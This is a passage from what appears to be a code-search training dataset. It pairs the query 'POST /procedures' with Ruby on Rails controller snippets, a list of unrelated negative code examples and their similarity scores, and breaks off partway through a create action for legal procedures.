"def procedure_ids_by_status( status )\n procedures = Array.new\n\n if @db != nil\n is_ok = false\n\n begin\n stm = @db.prepare( 'SELECT qProcId, qStatus, COUNT( qStatus ) As qCount FROM qryResults WHERE qStatus = ? GROUP BY qProcId, qStatus ORDER BY qProcId, qStatus')\n stm.bind_params( status.to_s )\n rs = stm.execute\n\n rs.each do |row|\n result = { 'id' => row['qProcId'], 'status' => row['qStatus'], 'count' => row['qCount'] }\n procedures.push result\n end\n\n stm.close\n is_ok = true\n rescue ::SQLite3::Exception => e\n Maadi::post_message(:Warn, \"Repository (#{@type}:#{@instance_name}) encountered an SELECT Procedure IDs by Status Code error (#{e.message}).\")\n end\n end\n\n return procedures\n end",
"def index\n @approval_processes = ApprovalProcess.find(:all, :conditions => {:client_id => session[:client_id]})\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @approval_processes }\n end\n end",
"def list_services(client, args, options)\n response = client.get(RESOURCE_PATH)\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n array_list = JSON.parse(response.body)\n SERVICE_TABLE.show(array_list['DOCUMENT_POOL']['DOCUMENT'])\n 0\n end\n end\nend",
"def show\n @pluto_process_definition = collection.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @pluto_process_definition }\n end\n end",
"def index\n @protectoras = Protectora.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @protectoras }\n end\n end",
"def show\n scan_procedure_array = (current_user.view_low_scan_procedure_array).split(' ').map(&:to_i)\n @scan_procedure = ScanProcedure.where(\"scan_procedures.id in (?)\", scan_procedure_array).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @scan_procedure }\n end\n end",
"def list_processes request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_processes_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::DataCatalog::Lineage::V1::ListProcessesResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def index\n @proyects = Proyect.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proyects }\n end\n end",
"def load_methods\n resource :get, 'api/v1/users/me/slips/methods'\n end",
"def index\n @primes = Prime.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @primes }\n end\n end",
"def index\n @processos = Processo.all\n\n render json: @processos\n end",
"def open_procedure_literal\r\n suspend_execute_mode(\"vm.push(lambda {|vm, val=nil, idx=nil| \", :procedure)\r\n\r\n #Support for the standard procedure parameters.\r\n context.create_local_method('v', MacroSpec, [:macro, \"vm.push(val); \"])\r\n context.create_local_method('x', MacroSpec, [:macro, \"vm.push(idx); \"])\r\n\r\n #Support for local data.\r\n context.create_local_method('var:', LocalSpec, [:immediate], &Local_Var_Action)\r\n context.create_local_method('val:', LocalSpec, [:immediate], &Local_Val_Action)\r\n\r\n context.create_local_method('}}', MacroSpec, [:macro, :end, \"}); \"])\r\n end",
"def create\n @visit_procedure = VisitProcedure.new(visit_procedure_params)\n\n respond_to do |format|\n if @visit_procedure.save\n format.html { redirect_to @visit_procedure, notice: 'Visit procedure was successfully created.' }\n format.json { render :show, status: :created, location: @visit_procedure }\n else\n format.html { render :new }\n format.json { render json: @visit_procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_proselint_json path\n json = `proselint \"#{path}\" --json`.strip\n if json[0] == \"{\" and json[-1] == \"}\"\n JSON.parse json\n else\n {}\n end\n end",
"def index\n @proposals = listing.proposals\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proposals }\n end\n end",
"def show\n @routine = Routine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @routine }\n end\n end",
"def show\n @routine = Routine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @routine }\n end\n end",
"def inspect\n \"<#{self.class.name}/StoredProcedure name=#{@sproc_name}>\"\n end",
"def index\n if params[:search]\n @procedures = Procedure.where('name LIKE ? and status LIKE ?', \"%#{params[:search]}%\",'approved')\n @bills = Bill.where(:procedure_id =>[@procedures])\n else\n @bills = Bill.where(status:'approved')\n end\n end",
"def index\n @resumes = Resume.where(:book_id => params[:book_id])\n\n render json: @resumes\n end",
"def add_procedure(opts={})\n name = opts[:name]\n raise Error, \"JSON-RPC procedure must have a name\" if name.blank?\n proc = opts[:proc]\n raise Error, \"JSON-RPC procedure must specify a :proc to be executed locally\" if proc.blank?\n begin\n proc = proc.to_proc\n rescue Exception => e\n raise Error, \":proc argument could not be converted to a proc (#{e.message})\"\n end\n opts[:proc] = proc\n # Canonicalise opts[:params]. We use strings internally, since parameter names will be \n # passed as such.\n opts[:params] = (opts[:params] || []).collect do |p|\n if p.is_a?(String)\n {:name => p.to_s, :type => 'any'}\n else\n {:name => p[:name].to_s, :type => (p[:type] || 'any').to_s}\n end\n end\n # Canonicalise opts[:return]\n opts[:return] = if opts[:return]\n {:type => (opts[:return][:type] || 'any').to_s}\n else\n {:type => 'any'}\n end\n # Register the new procedure with the service\n self.procs[name] = opts\n # Empty the system.describe cache\n @sd_cache = nil\n # Finally return the procedure's call name\n name\n end",
"def create\n @operating_procedure = OperatingProcedure.new(operating_procedure_params)\n\n if @operating_procedure.save\n render :show, status: :created, location: @operating_procedure\n else\n render json: @operating_procedure.errors, status: :unprocessable_entity\n end\n end",
"def index\n @programmes = Programme.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programmes }\n end\n end",
"def show\n @program = Program.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @program }\n end\n end",
"def show\n @program = Program.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @program }\n end\n end",
"def index\n @programas = Programa.all_active\n @programa = Programa.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programas }\n end\n end",
"def index\n @proteins = Protein.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proteins }\n end\n end",
"def show\n @ped_program_definition = PedProgramDefinition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ped_program_definition }\n end\n end",
"def create\n @procedure_type = ProcedureType.new(procedure_type_params)\n\n respond_to do |format|\n if @procedure_type.save\n format.html { redirect_to @procedure_type, notice: 'Procedure type was successfully created.' }\n format.json { render :show, status: :created, location: @procedure_type }\n else\n format.html { render :new }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @visit_procedure.destroy\n respond_to do |format|\n format.html { redirect_to visit_procedures_url, notice: 'Visit procedure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def get_procedure_literal\r\n save, @buffer = @buffer, \"\"\r\n open_procedure_literal\r\n\r\n begin\r\n token = get_procedure_token\r\n due_token(token)\r\n end until token.has_tag?(:end)\r\n\r\n close_procedure_literal\r\n (_, @buffer = @buffer, save)[0]\r\n end",
"def index\n @proposals = current_user.proposals\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proposals }\n end\n end",
"def destroy\n @procedure.destroy\n respond_to do |format|\n format.html { redirect_to procedures_url, notice: 'Procedimiento ha sido eliminado con éxito.' }\n format.json { head :no_content }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @service_pricing_schemes }\n end\n end",
"def procs\n @procs\n end",
"def index\n @pugs = Pug.all\n\n render json: @pugs\n end",
"def procedure_type_params\n params.require(:procedure_type).permit(:procedure_type_name, :procedure_id)\n end",
"def show\n render json: @prossumer\n end",
"def index\n respond_with json_response(\n 'methods',\n %w[\n user_count group_count total_invites accepted_invites\n recent_groups recent_users total_tickets tickets_transferred\n tickets_unused\n ]\n )\n end",
"def call\n url = URI(WIKI_URL)\n res = Net::HTTP.get_response(url)\n content = parsed_page_content(res)\n\n parse_procedures(content)\n end",
"def show\n @program = Program.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @program }\n end\n end",
"def destroy\n @procedure = Procedure.find(params[:id])\n @procedure.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/procedures\" }\n format.xml { head :ok }\n end\n\n end",
"def routines_dump\n structure = \"\"\n return structure unless supports_routines?\n\n sql = \"SELECT ROUTINE_TYPE as type, ROUTINE_NAME as name FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA='#{current_database}'\"\n\n select_all(sql).each do |row|\n structure << select_one(\"SHOW CREATE #{row['type']} #{row['name']}\")[\"Create #{row['type'].capitalize}\"]\n structure.gsub!(/^(CREATE).+(PROCEDURE|FUNCTION)/, '\\1 \\2')\n structure << \";\\n\\n\"\n end\n\n structure\n end",
"def log_procedure( procedure )\n if Maadi::Procedure::Procedure::is_procedure?( procedure )\n t = Time.now\n File.open( @options['FILENAME'], 'a') do |f|\n f.puts \"#{t.strftime('%Y%m%d%H%M%S')}\\tPROCEDURE\\t#{procedure.key_id}\\t#{procedure.to_s}\"\n\n procedure.steps.each do |step|\n f.puts \"\\tSTEP\\t#{step.key_id}\\t#{step.id.to_s}\\t#{step.command}\\t#{step.execute}\"\n\n step.parameters.each do |parameter|\n f.puts \"\\tPARAMETER\\t#{parameter.key_id}\\t#{parameter.label}\\t#{parameter.value.to_s}\\t#{parameter.constraint.to_s}\"\n end\n end\n\n procedure.comparisons.each do |comparison|\n f.puts \"\\tCOMPARE\\t#{comparison.id}\\t#{comparison.relationship}\"\n comparison.steps.each do |item|\n f.puts \"\\t\\tSTEP\\t#{item.id}\\t#{item.key_id}\"\n end\n end\n end\n end\n end",
"def create\n @mission_procedure = MissionProcedure.new(mission_procedure_params)\n\n respond_to do |format|\n if @mission_procedure.save\n format.html { redirect_to @mission_procedure, notice: 'Mission procedure was successfully created.' }\n format.json { render :show, status: :created, location: @mission_procedure }\n else\n format.html { render :new }\n format.json { render json: @mission_procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @question_scan_procedure = QuestionScanProcedure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_scan_procedure }\n end\n end"
] |
[
"0.6926617",
"0.6695462",
"0.65038925",
"0.6443691",
"0.6385713",
"0.63339657",
"0.6220527",
"0.6173331",
"0.61091673",
"0.6095725",
"0.6051873",
"0.6050506",
"0.5918805",
"0.5873979",
"0.5844729",
"0.5791556",
"0.56895703",
"0.5684501",
"0.5575923",
"0.5549793",
"0.5515017",
"0.54990035",
"0.54977024",
"0.544796",
"0.5402248",
"0.5368611",
"0.5265551",
"0.52566737",
"0.5248808",
"0.523046",
"0.52273405",
"0.52203107",
"0.5211319",
"0.51802367",
"0.51802367",
"0.5164412",
"0.51612306",
"0.51479745",
"0.51470166",
"0.51419204",
"0.51338214",
"0.5130534",
"0.5130534",
"0.51282084",
"0.5125146",
"0.5124762",
"0.51171696",
"0.51123995",
"0.5102384",
"0.51014227",
"0.50932014",
"0.5091783",
"0.5068389",
"0.5063417",
"0.50623035",
"0.50527745",
"0.5039569",
"0.503707",
"0.5021164",
"0.49969867",
"0.49943712",
"0.49867392",
"0.4972494",
"0.4962704",
"0.49551672",
"0.4950161",
"0.4942742",
"0.49354735",
"0.49349004",
"0.49326426",
"0.49326426",
"0.49305633",
"0.492883",
"0.4925849",
"0.49246812",
"0.49211657",
"0.4921036",
"0.49177942",
"0.49177942",
"0.49103308",
"0.49101916",
"0.4905221",
"0.49016997",
"0.48910856",
"0.4889246",
"0.4885585",
"0.48840013",
"0.4876616",
"0.48758695",
"0.48732057",
"0.4863152",
"0.48565546",
"0.48551732",
"0.48544356",
"0.48532355",
"0.48522875",
"0.4852142",
"0.48507544",
"0.48462337",
"0.48413247"
] |
0.5503553
|
21
|
GET /procedures/1 GET /procedures/1.json
|
def show
#save list with all accuseds person of the procedure
@preponderant_crime = @procedure.crime_in_accuseds.find_by(preponderant: true)
@crimes = @procedure.crime_in_accuseds.where(preponderant: false).uniq { |s| s.crime.id }
accuseds_in_procedure = @procedure.person_in_procedures.where(role: 0)
@accuseds = []
accuseds_in_procedure.each do |accused|
@accuseds.append([Person.find(accused.person_id), accused.state, accused.id, accused.prosecutor_pronounced])
end
#save list with all victims person of the procedure
victims_in_procedure = @procedure.person_in_procedures.where(role: 2)
@victims = []
victims_in_procedure.each do |victim|
@victims.append([Person.find(victim.person_id), victim.witness_declaration])
end
#save list with all witnesses person of the procedure
witnesses_in_procedure = @procedure.person_in_procedures.where(role: 1)
@witnesses = []
witnesses_in_procedure.each do |witness|
@witnesses.append([Person.find(witness.person_id), witness.witness_declaration])
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n render json: Procedure.all, status: :ok\n end",
"def stored_procedure(name)\n get \"#{base_url}/storedprocedures/#{name}\"\n end",
"def show\n @procedure = Procedure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @procedure }\n format.json { render :json => @procedure }\n \n end\n end",
"def index\n @procedures = Procedure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @procedures }\n end\n end",
"def show\n @procedures = @property.procedures\n end",
"def show\n\t\t@form = @client.forms.find(params[:id])\n @procedures = @form.procedures.order('step_num ASC')\n\n \trespond_to do |format|\n \t\tformat.html # show.html.erb\n \t\tformat.json { render json: @form }\n \t \tend\n \tend",
"def index\n @car = Car.find(params[:car_id])\n @lien_procedures = @car.lien_procedures\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lien_procedures }\n end\n end",
"def show\n @car = Car.find(params[:car_id])\n @lien_procedure = @car.lien_procedures.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lien_procedure }\n end\n end",
"def create\n @procedure = Procedure.new(procedure_params)\n\n respond_to do |format|\n if @procedure.save\n format.json { render json: @procedure, status: :created }\n else\n format.json { render json: @procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def select_procedure\n @project = Project.find(params[:id])\n @test = Testx.find(params[:test_id])\n respond_to do |format|\n format.html # select_procedure.html.erb\n format.json { render json: @project }\n end\n end",
"def index\n @procedure_types = ProcedureType.all\n end",
"def index\n @proceduretypes = Proceduretype.all\n end",
"def procedure_params\n params[:procedure]\n end",
"def index\n @patient_procedures = PatientProcedure.all\n end",
"def get_procedures\n connect_db.fetch(\"SELECT RDB$PROCEDURE_NAME, RDB$PROCEDURE_SOURCE FROM RDB$PROCEDURES\")\n end",
"def index\n @ped_programs = PedProgram.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ped_programs }\n end\n end",
"def index\n @mission_procedures = MissionProcedure.all\n end",
"def show\n @pluto_process_definition = collection.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @pluto_process_definition }\n end\n end",
"def json_rpc_procedure(opts={})\n @service.add_procedure opts\n end",
"def index\n @visit_procedures = VisitProcedure.all\n end",
"def index\n @ped_program_definitions = PedProgramDefinition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ped_program_definitions }\n end\n end",
"def index\n @pluto_process_definitions = collection.all\n\n respond_to do |format|\n format.json { render json: @pluto_process_definitions }\n end\n end",
"def show\n @voprosy = Voprosy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @voprosy }\n end\n end",
"def index\n @routines = Routine.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @routines }\n end\n end",
"def show\n @ped_program = PedProgram.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ped_program }\n end\n end",
"def destroy\n @procedure.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def show\n @routine = Routine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @routine }\n end\n end",
"def show\n @routine = Routine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @routine }\n end\n end",
"def show\n @program = Program.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @program }\n end\n end",
"def show\n @program = Program.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @program }\n end\n end",
"def index\n @programs = Program.where(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programs }\n end\n end",
"def update\n respond_to do |format|\n if @procedure.update(procedure_params)\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"def get_proselint_json path\n json = `proselint \"#{path}\" --json`.strip\n if json[0] == \"{\" and json[-1] == \"}\"\n JSON.parse json\n else\n {}\n end\n end",
"def show\n @program = Program.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @program }\n end\n end",
"def index\n @approval_processes = ApprovalProcess.find(:all, :conditions => {:client_id => session[:client_id]})\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @approval_processes }\n end\n end",
"def index\n @programas = Programa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programas }\n end\n end",
"def index\n @proposals = Proposal.all\n\n render json: @proposals\n end",
"def show\n @processdef = Processdef.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @processdef }\n end\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def new\n @procedure = Procedure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @procedure }\n end\n end",
"def show\n @propose = Propose.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @propose }\n end\n end",
"def ps(app_name)\n deprecate # 07/31/2012\n json_decode get(\"/apps/#{app_name}/ps\", :accept => 'application/json').to_s\n end",
"def index\n @business_processes = BusinessProcess.all\n\n render json: @business_processes\n end",
"def index\n @operations = Operation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @operations }\n end\n end",
"def show\n @ped_program_definition = PedProgramDefinition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ped_program_definition }\n end\n end",
"def procedure_params\n params.require(:procedure).permit(:description, :name, :procedure_ID)\n end",
"def get\n execute(:get)\n end",
"def get\n execute(:get)\n end",
"def index\n @procedure_types = ProcedureType.all.paginate(:page => params[:page], :per_page => 10)\n if params[:search]\n @procedure_types = ProcedureType.search(params[:search]).order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 10)\n else\n @procedure_types = ProcedureType.order('created_at DESC').paginate(:page => params[:page], :per_page => 10)\n end\n end",
"def show\n @program_app = ProgramApp.find(params[:id])\n\n respond_to do |format|\n format.json do\n render json: @program_app\n end\n end\n end",
"def show\n render json: @prossumer\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def index\n @processos = Processo.all\n\n render json: @processos\n end",
"def show\n @ref_protein = RefProtein.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ref_protein }\n end\n end",
"def create\n @procedure = Procedure.new(params[:procedure])\n\n respond_to do |format|\n if @procedure.save\n format.html { redirect_to(\"/procedures\", :notice => 'Procedure was successfully created.') }\n format.xml { render :xml => @procedure, :status => :created, :location => @procedure }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @procedure.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @programa = Programa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @programa }\n end\n end",
"def index\n @proteins = Protein.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proteins }\n end\n end",
"def index\n @primes = Prime.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @primes }\n end\n end",
"def index\n @parishes = Parish.all\n\n render json: @parishes\n end",
"def show\n @protein = Protein.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @protein }\n end\n end",
"def index\n @provisions = Provision.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @provisions }\n end\n end",
"def index\n @programas = Programa.all_active\n @programa = Programa.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programas }\n end\n end",
"def index\n @verbs = Verb.all\n\n render json: @verbs\n end",
"def index\n @proyects = Proyect.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proyects }\n end\n end",
"def index\n if current_user.prosecutor.present?\n @pagy, @procedures = pagy(Procedure.where(:state => 0, :local_prosecution_in_charge_id => current_user.prosecutor.local_prosecution.id).or(Procedure.where(:state => 2, :creator_id => current_user.id, :local_prosecution_in_charge_id => current_user.prosecutor.local_prosecution.id)).order(created_at: :desc))\n elsif current_user.police_unit.present?\n @pagy, @procedures = pagy(Procedure.where(:state => 2, :creator_id => current_user.id, :police_unit_in_charge_id => current_user.police_unit.id).or(Procedure.where(:state => 3, :police_unit_in_charge_id => current_user.police_unit.id)).order(created_at: :desc))\n puts(@procedures)\n elsif current_user.admin?\n @procedures = []\n end\n end",
"def index\n @resumes = Resume.where(:book_id => params[:book_id])\n\n render json: @resumes\n end",
"def show\n @psa = Psa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @psa }\n end\n end",
"def index\n @programmes = Programme.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programmes }\n end\n end",
"def get_invoke\n repo, lang, versions, path, procedure_id =\n params.values_at(:repo, :lang, :versions, :path, :procedure_id)\n\n if p = ProcedureModel.first(id: procedure_id)\n if p.public? || user? == p.user\n shell_stream escape_path( \"=== Invoking \\\"%s\\\" Procedure ===\\n\" % p.name )\n \n commands = p.commands.split(/\\r?\\n/).reject { |c| c.strip.size == 0 }\n\n opted_versions(lang, versions).each do |version|\n commands.each do |cmd|\n rt_spawn *[lang, version, p.user, repo, path, cmd].shellify\n end\n end\n else\n rpc_stream :error, '=== Please Login ==='\n end\n end\n end",
"def show\n @protein_complex = ProteinComplex.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @protein_complex }\n end\n end",
"def show\n @approval_process = ApprovalProcess.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @approval_process }\n end\n end",
"def show\n puts \"VIEW SHOW\"\n @new_pro = NewPro.find_by_phoneNumber(params[:id])\n puts @new_pro\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @new_pro }\n end\n end",
"def show\n @programme = Programme.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @programme }\n end\n end",
"def show\n render json: @verb\n end",
"def show\n scan_procedure_array = (current_user.view_low_scan_procedure_array).split(' ').map(&:to_i)\n @scan_procedure = ScanProcedure.where(\"scan_procedures.id in (?)\", scan_procedure_array).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @scan_procedure }\n end\n end",
"def index\n @proposals = listing.proposals\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proposals }\n end\n end",
"def index\n @protectoras = Protectora.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @protectoras }\n end\n end",
"def show\n @prime = Prime.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prime }\n end\n end",
"def show\n @promocion = Promocion.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @promocion }\n end\n end",
"def show\n @piping_system = PipingSystem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @piping_system }\n end\n end",
"def index\n @pugs = Pug.all\n\n render json: @pugs\n end",
"def show\n @pinit = Pinit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pinit }\n end\n end",
"def index\n if @user.admin?\n @routines = Routine.paginate(page: params[:page], per_page: 20)\n else\n @routines = Routine.none_secret_or_own_routines(@user.id).paginate(page: params[:page], per_page: 20)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @routines }\n end\n end",
"def list_services(client, args, options)\n response = client.get(RESOURCE_PATH)\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n array_list = JSON.parse(response.body)\n SERVICE_TABLE.show(array_list['DOCUMENT_POOL']['DOCUMENT'])\n 0\n end\n end\nend",
"def show\n @operation = Operation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @operation }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @service_pricing_schemes }\n end\n end",
"def show\n @pdb = Pdb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pdb }\n end\n end",
"def destroy\n @procedure = Procedure.find(params[:id])\n @procedure.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/procedures\" }\n format.xml { head :ok }\n end\n\n end",
"def show\n @routine_interview = RoutineInterview.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @routine_interview }\n end\n end",
"def show\n @question_scan_procedure = QuestionScanProcedure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_scan_procedure }\n end\n end",
"def show\n @complaint = Complaint.find(params[:id])\n\n render json: @complaint\n end",
"def index\n @programa_de_interes = ProgramaDeIntere.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programa_de_interes }\n end\n end",
"def show\n @preguntum = Preguntum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preguntum }\n end\n end",
"def show\n @servicetype = Servicetype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @servicetype }\n end\n end",
"def rest_address(type)\n \"http://#{@sqlplus_address}/ProcessData/AtProcessDataREST.dll/#{type}\"\n end",
"def show\n @partecipante = Partecipante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @partecipante }\n end\n end",
"def ppg_status\n params[:page] ||= 1\n\n default_ppg_status_code = \"1\"\n @ppg_status_code = params[:ppg_status_code] || default_ppg_status_code\n\n result = PpgStatusHistory.current_ppg_status.with_status(@ppg_status_code).select(\"distinct ppg_status_histories.*, people.last_name\").joins(\n \"inner join participant_person_links on participant_person_links.participant_id = ppg_status_histories.participant_id\n inner join people on people.id = participant_person_links.person_id\"\n ).where(\"participant_person_links.relationship_code = '1'\").order(\"people.last_name\")\n @ppg_statuses = result.paginate(:page => params[:page], :per_page => 20)\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render :json => result.all }\n end\n end",
"def program(id)\n get(\"/catalog/titles/programs/#{id.to_s}\")\n end",
"def retrieve(id)\n @client.make_request(:get, \"parcels/#{id}\", MODEL_CLASS)\n end",
"def index\n scan_procedure_array = (current_user.view_low_scan_procedure_array).split(' ').map(&:to_i)\n @scan_procedures = ScanProcedure.where(\"scan_procedures.id in (?)\", scan_procedure_array).order(:codename).all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @scan_procedures }\n end\n end"
] |
[
"0.6947637",
"0.6503618",
"0.649327",
"0.62670565",
"0.6245129",
"0.62362295",
"0.6146888",
"0.61010695",
"0.60372376",
"0.59715754",
"0.5901738",
"0.5835837",
"0.5796559",
"0.5788477",
"0.5762257",
"0.56458664",
"0.5637257",
"0.5575732",
"0.55729455",
"0.55626374",
"0.5559468",
"0.55426604",
"0.55274606",
"0.5510189",
"0.5507737",
"0.54880965",
"0.54681534",
"0.54681534",
"0.54496616",
"0.54496616",
"0.5447419",
"0.5434806",
"0.5424763",
"0.5385746",
"0.5372931",
"0.5366908",
"0.5358827",
"0.5355292",
"0.53462076",
"0.53406274",
"0.5335874",
"0.53353256",
"0.53280675",
"0.5325751",
"0.5313789",
"0.5298551",
"0.5286354",
"0.5286354",
"0.5277815",
"0.5275508",
"0.5270766",
"0.525168",
"0.525168",
"0.52469856",
"0.5244776",
"0.5237624",
"0.5224044",
"0.52230096",
"0.5214739",
"0.5208561",
"0.5204919",
"0.5187401",
"0.51601636",
"0.5159155",
"0.5157787",
"0.5157145",
"0.5155097",
"0.5138173",
"0.5134123",
"0.51306146",
"0.51304114",
"0.5124514",
"0.5122373",
"0.5122368",
"0.5118272",
"0.51140934",
"0.5113644",
"0.5112688",
"0.5112445",
"0.5101885",
"0.50899166",
"0.50803846",
"0.50710887",
"0.50678885",
"0.5067589",
"0.50665873",
"0.50617826",
"0.50608844",
"0.50520045",
"0.50396013",
"0.5039329",
"0.5039313",
"0.5032952",
"0.503129",
"0.50296265",
"0.5027797",
"0.50267977",
"0.5016779",
"0.5013543",
"0.5012173",
"0.5008696"
] |
0.0
|
-1
|
POST /procedures POST /procedures.json
|
def create
authorize! :create, Procedure
if procedure_params[:classification] == "ODP"
classification_procedure = 1
elsif procedure_params[:classification] == "Flagrancia"
classification_procedure = 0
else
classification_procedure = 2
end
selected_region = ""
selected_sector = ""
get_regiones
@regiones.each do |region|
if region[:codigo].to_s == procedure_params[:region].to_s
selected_region = region[:nombre]
end
region[:comunas].each do |comuna|
if comuna[:codigo].to_s == procedure_params[:sector].to_s
selected_sector = comuna[:nombre]
end
end
end
d = procedure_params[:date].to_date
t = procedure_params[:time].to_time
dateOfArrest = Time.zone.local(d.year, d.month, d.day, t.hour, t.min, t.sec)
@procedure = Procedure.new(classification: classification_procedure,
creator: current_user,
